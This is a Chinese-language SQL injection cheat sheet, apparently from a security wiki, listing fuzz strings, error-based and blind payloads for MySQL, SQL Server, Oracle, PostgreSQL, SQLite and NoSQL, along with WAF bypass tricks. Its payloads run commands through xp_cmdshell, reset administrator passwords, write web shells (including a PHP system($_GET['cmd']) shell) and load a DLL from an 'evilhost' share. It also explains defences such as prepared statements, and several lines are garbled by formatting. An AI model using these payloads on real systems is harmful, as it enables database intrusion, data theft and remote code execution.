# 注入分类
# 简介
SQL 注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的 SQL 语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
# 按技巧分类
根据使用的技巧,SQL 注入类型可分为
-
盲注
- 布尔盲注:只能从应用返回中推断语句执行后的布尔值
- 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
-
报错注入:应用会显示全部或者部分的报错信息
-
堆叠注入:有的应用可以加入
;
后一次执行多条语句 -
其他
# 按获取数据的方式分类
另外也可以根据获取数据的方式分为 3 类
# inband
利用 Web 应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。
# inference
通过 Web 的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过 web 应用的其他改变来推断数据。
# out of band (OOB)
通过其他传输方式来获得数据,比如 DNS 解析协议和电子邮件。
# 注入检测
# 常见的注入点
- GET/POST/PUT/DELETE 参数
- X-Forwarded-For
- 文件名
# Fuzz 注入点
'
/"
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+
-
^
*
%
/
<<
>>
||
|
&
&&
~
!
@
- 反引号执行
# 测试用常量
@@version
@@servername
@@language
@@spid
# 测试列数
例如 http://www.foo.com/index.asp?id=12+union+select+null,null--
,不断增加 null
至不返回
# 报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
# 基于 geometric 的报错注入
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基于 exp 函数的报错注入在 MySQL 5.5.49 后的版本已经不再生效,具体可以参考这个 commit 95825f 。
而以上列表中基于 geometric 的报错注入在这个 commit 5caea4 中被修复,在 5.5.x 较后的版本中同样不再生效。
# 堆叠注入
;select 1
# 注释符
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
# 判断过滤规则
- 是否有 trunc
- 是否过滤某个字符
- 是否过滤关键字
- slash 和编码
# 获取信息
-
判断数据库类型
and exists (select * from msysobjects ) > 0
access 数据库and exists (select * from sysobjects ) > 0
SQLServer 数据库
-
判断数据库表
and exsits (select * from admin)
-
版本、主机名、用户名、库名
-
表和字段
-
确定字段数
-
Order By
-
Select Into
-
-
表名、列名
-
# 测试权限
- 文件操作
- 读敏感文件
- 写 shell
- 带外通道
- 网络请求
# 权限提升
# UDF 提权
UDF(User Defined Function,用户自定义函数)是 MySQL 提供的一个功能,可以通过编写 DLL 扩展为 MySQL 添加新函数,扩充其功能。
当获得 MySQL 权限之后,即可通过这种方式上传自定义的扩展文件,从 MySQL 中执行系统命令。
# 数据库检测
# MySQL
- sleep
sleep(1)
- benchmark
BENCHMARK(5000000, MD5('test'))
- 字符串连接
SELECT 'a' 'b'
SELECT CONCAT('some','string')
- version
SELECT @@version
SELECT version()
- 识别用函数
connection_id()
last_insert_id()
row_count()
# Oracle
- 字符串连接
'a'||'oracle' --
SELECT CONCAT('some','string')
- version
SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
# SQLServer
- WAITFOR
WAITFOR DELAY '00:00:10';
- SERVERNAME
SELECT @@SERVERNAME
- version
SELECT @@version
- 字符串连接
SELECT 'some'+'string'
- 常量
@@pack_received
@@rowcount
# PostgreSQL
- sleep
pg_sleep(1)
# 绕过技巧
-
编码绕过
- 大小写
- url 编码
- html 编码
- 十六进制编码
- unicode 编码
-
注释
//
--
-- +
-- -
#
/**/
;%00
- 内联注释用的更多,它有一个特性
/!**/
只有 MySQL 能识别 - e.g.
index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
-
只过滤了一次时
union
=>ununionion
-
相同功能替换
- 函数替换
substring
/mid
/sub
ascii
/hex
/bin
benchmark
/sleep
- 变量替换
user()
/@@user
- 符号和关键字
and
/ `&``or
/|
- 函数替换
-
HTTP 参数
- HTTP 参数污染
id=1&id=2&id=3
根据容器不同会有不同的结果
- HTTP 分割注入
- HTTP 参数污染
-
缓冲区溢出
- 一些 C 语言的 WAF 处理的字符串长度有限,超出某个长度后的 payload 可能不会被处理
-
二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过
# SQL 注入小技巧
# 宽字节注入
一般程序员用 gbk 编码做开发的时候,会用 set names 'gbk'
来设定,这句话等同于
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
漏洞发生的原因是执行了 set character_set_client = 'gbk';
之后,mysql 就会认为客户端传过来的数据是 gbk 编码的,从而使用 gbk 去解码,而 mysql_real_escape 是在解码前执行的。但是直接用 set names 'gbk'
的话 real_escape 是不知道设置的数据的编码的,就会加 %5c
。此时 server 拿到数据解码 就认为提交的字符 +%5c 是 gbk 的一个字符,这样就产生漏洞了。
解决的办法有三种,第一种是把 client 的 charset 设置为 binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk')
,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用 pdo。
还有一些其他的编码技巧,比如 latin 会弃掉无效的 unicode,那么 admin%32 在代码里面不等于 admin,在数据库比较会等于 admin。
# CheatSheet
# SQL Server Payload
# 常见 Payload
-
Version
SELECT @@version
SELECT SERVERPROPERTY('Edition');
SELECT SERVERPROPERTY('EngineEdition');
-
Comment
SELECT 1 -- comment
SELECT /*comment*/1
-
Space
0x01 - 0x20
-
用户信息
SELECT user_name()
- ``SELECT system_user`
SELECT user
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
-
用户权限
select IS_SRVROLEMEMBER('sysadmin')
select IS_SRVROLEMEMBER('db_owner')
-
List User
SELECT name FROM master..syslogins
-
数据库信息
SELECT name FROM master..sysdatabases
select concat_ws(table_schema,table_name,column_name) from information_schema.columns
select quotename(name) from master..sysdatabases FOR XML PATH('')
-
执行命令
EXEC xp_cmdshell 'net user'
-
Ascii
SELECT char(0x41)
SELECT ascii('A')
SELECT char(65)+char(66)
=> returnAB
-
Delay
WAITFOR DELAY '0:0:3'
pause for 3 seconds
-
Change Password
ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
-
Trick
id=1 union:select password from:user
-
文件读取
- OpenRowset
-
当前查询语句
select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
-
hostname
- 用于判断是否站库分离
select host_name()
exec xp_getnetname
-
服务器信息
exec xp_msver
-
系统配置
select * from sys.configurations;
# 注册表读写
-
xp_regread
exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'
-
xp_regwrite
-
xp_regdeletvalue
-
xp_regdeletkey
-
xp_regaddmultistring
# 报错注入
1=convert(int,(db_name()))
# 常用函数
- SUSER_NAME()
- USER_NAME()
- PERMISSIONS()
- DB_NAME()
- FILE_NAME()
- TYPE_NAME()
- COL_NAME()
# DNS OOB
- fn_xe_file_target_read_file
- fn_get_audit_file
- fn_trace_gettable
# 其他常用存储过程
- sp_execute_external_script
- sp_makewebtask
- sp_OACreate
- sp_OADestroy
- sp_OAGetErrorInfo
- sp_OAGetProperty
- sp_OAMethod
- sp_OASetProperty
- sp_OAStop
- xp_cmdshell
- xp_dirtree
- xp_enumerrorlogs
- xp_enumgroups
- xp_fixeddrives
- xp_getfiledetails
- xp_loginconfig
# MySQL Payload
# 常见 Payload
-
Version
SELECT @@version
-
Comment
SELECT 1 -- comment
SELECT 1 # comment
SELECT /*comment*/1
-
Space
0x9
0xa-0xd
0x20
0xa0
-
Current User
SELECT user()
SELECT system_user()
SELECT current_role()
-
List User
SELECT user FROM mysql.user
-
Current Database
SELECT database()
-
List Database
SELECT schema_name FROM information_schema.schemata
-
List Tables
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
-
List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
-
If
SELECT if(1=1,'foo','bar');
return 'foo'
-
Ascii
- `SELECT char(0x41)
SELECT ascii('A')
SELECT 0x414243
=> returnABC
-
Delay
sleep(1)
SELECT BENCHMARK(1000000,MD5('A'))
-
Read File
select @@datadir``select load_file('databasename/tablename.MYD')
-
Blind
ascii(substring(str,pos,length)) & 32 = 1
-
Error Based
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
-
Change Password
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"
# 报错注入常见函数
- extractvalue
- updatexml
- GeometryCollection
- linestring
- multilinestring
- multipoint
- multipolygon
- polygon
- exp
# 写文件
# 写文件前提
- root 权限
- 知晓文件绝对路径
- 写入的路径存在写入权限
- secure_file_priv 允许向对应位置写入
select count(file_priv) from mysql.user
# 基于 into 写文件
union select 1,1,1 into outfile '/tmp/demo.txt' | |
union select 1,1,1 into dumpfile '/tmp/demo.txt' |
dumpfile 和 outfile 不同在于,outfile 会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏
# 基于 log 写文件
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;
# PostgresSQL Payload
- Version
SELECT version()
- Comment
SELECT 1 -- comment``SELECT /*comment*/1
- Current User
SELECT user
SELECT current_user
- ``SELECT session_user`
SELECT getpgusername()
- List User
SELECT usename FROM pg_user
- Current Database
SELECT current_database()
- List Database
SELECT datname FROM pg_database
- Ascii
SELECT char(0x41)
SELECT ascii('A')
- Delay
pg_sleep(1)
# Oracle Payload
# 常见 Payload
-
-
dump
select * from v$tablespace;``select * from user_tables;``select column_name from user_tab_columns where table_name = 'table_name';``select column_name, data_type from user_tab_columns where table_name = 'table_name';``SELECT * FROM ALL_TABLES
-
-
-
Comment
--``/**/
-
-
-
Space
0x00
0x09
0xa-0xd
0x20
-
-
-
报错
utl_inaddr.get_host_name``ctxsys.drithsx.sn``ctxsys.CTX_REPORT.TOKEN_TYPE``XMLType``dbms_xdb_version.checkin``dbms_xdb_version.makeversioned``dbms_xdb_version.uncheckout``dbms_utility.sqlid_to_sqlhash``ordsys.ord_dicom.getmappingxpath``utl_inaddr.get_host_name``utl_inaddr.get_host_address
-
-
-
OOB
utl_http.request``utl_inaddr.get_host_address``SYS.DBMS_LDAP.INIT``HTTPURITYPE``HTTP_URITYPE.GETCLOB
-
-
-
绕过
rawtohex
-
# 写文件
create or replace directory TEST_DIR as '/path/to/dir'; | |
grant read, write on directory TEST_DIR to system; | |
declare | |
isto_file utl_file.file_type; | |
begin | |
isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W'); | |
utl_file.put_line(isto_file, '<% out.println("test"); %>'); | |
utl_file.fflush(isto_file); | |
utl_file.fclose(isto_file); | |
end; |
# SQLite3 Payload
- Comment
--
/**/
- Version
select sqlite_version();
Command Execution
ATTACH DATABASE '/var/www/lol.php' AS lol; | |
CREATE TABLE lol.pwn (dataz text); | |
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');-- |
Load_extension
UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');-- |
# NoSQL Payload
# 常见 Payload
- 绕过限制条件
{"username": "user"}
=>{"username": {"ne": "fakeuser"}}
{"$where": "return true"}
- 测试用字符
'"\/$[].>
- 布尔测试常用
{"$ne": -1}
{"$in": []}
{"$where": "return true"}
{"$or": [{},{"foo":"1"}]}
- 时间
{"$where": "sleep(100)"}
# 预编译
# 简介
SQL 注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的 SQL 引擎进行解析为 AST 或 Opcode,第二次交互发送数据,代入 AST 或 Opcode 中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。
# 模拟预编译
为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。
# 绕过
# 预编译使用错误
预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
# 部分参数不可预编译
在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
# 预编译实现错误
部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
# 参考文章
# Tricks
- sqlmap time based inject 分析
- SQLInjectionWiki
- 常见数据库写入 Webshell 汇总
- MSSQL 数据库攻击实战指北
# Bypass
- SQL 注入 ByPass 的一些小技巧
- Waf Bypass 之道
- MySQL Bypass Wiki
# NoSQL
- NoSQL 注入的分析和缓解
- NoSQL 注入
# Cheatsheet
- MSSQL Pentest Cheatsheet